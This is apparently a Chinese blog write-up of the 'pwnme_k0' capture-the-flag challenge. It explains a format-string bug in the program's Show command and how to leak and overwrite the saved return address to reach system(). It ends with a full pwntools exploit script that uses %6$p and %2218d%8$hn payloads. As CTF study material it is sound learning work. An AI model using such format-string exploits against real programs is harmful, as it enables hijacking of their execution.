pwnme_k0

先分析下程序和保护,开了RELRO,不能改got地址

分析程序,发现第一个register只要第一位不为48就可以跳过。

跳过以后发现漏洞主要在Show命令里的两个printf,格式化字符串漏洞。且程序中含有system()函数。

那么我们的思路就是:先edit,输入两个格式化字符串泄露栈中存储返回地址的地址,再修改内容为system()函数的地址,这样函数返回时就会调用system()。

接下来是我主要的分析和学习的知识点:

找了一些资料解决我对偏移、指针一类的疑惑,我大概是如上图这样理解的。

0x400D74是show函数运行完后跳转的地址,因此它相对于show函数的帧顶的偏移是不变的,我们可以直接泄露出存储该返回地址的地址,即上图0x…dd08,利用%n修改0x…dd08地址中的值。

1、确定格式化字符串的偏移

64位系统中,函数前六个参数在寄存器中,则printf的第一个参数为格式化字符串,往后则是格式化字符串的参数,前五个均在寄存器中,然后从栈开始数。这里要注意的是,上图第一行为栈指针,而第二行为printf函数的帧顶,函数的参数应该在自己所在帧中提取,即第2、3、4行则是格式化字符串的第6、7、8个参数,所以格式化本身的偏移为8。

2、为什么不直接%2214d%7$hn?

%n的作用为,把已经成功输出的字符个数写入对应的整型指针参数所指的变量。那么在这里,整型指针指该栈地址,变量地址则为0x400d74,写入变量就变成了修改地址0x400d74所指向的内容,而不是修改0x400d74这个地址本身了。

先将ret_addr泄露,写入栈中的位置,此时变量则为储存返回地址的空间,再利用%n就可以改变该空间内的值从而修改返回地址。

3、为什么不能直接往username中输入p64(ret)+b‘%2214d%8$hn’

我不知道,想不明白,以后学到更多的时候再回来想想。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

p=process('./pwnme_k0')

p.recv()
p.sendline('11111')
p.recv()
p.sendline('11111')
p.recv()

p.sendline('2')
p.recv()
p.sendline('%6$p')
p.recv()
p.sendline('111')
p.recv()

p.sendline('1')
p.recvuntil('0x')
ret=int(p.recvline().strip(),16)-0x38
success("ret_addr:"+hex(ret))
p.recv()

p.sendline('2')
p.recv()
p.sendline(p64(ret))
p.recv()
p.sendline('%2218d%8$hn')
p.recv()
p.sendline('1')

p.interactive()

pwnme_k0
http://example.com/2021/08/13/pwnme-k0/
作者
Magnesium
发布于
2021年8月13日
许可协议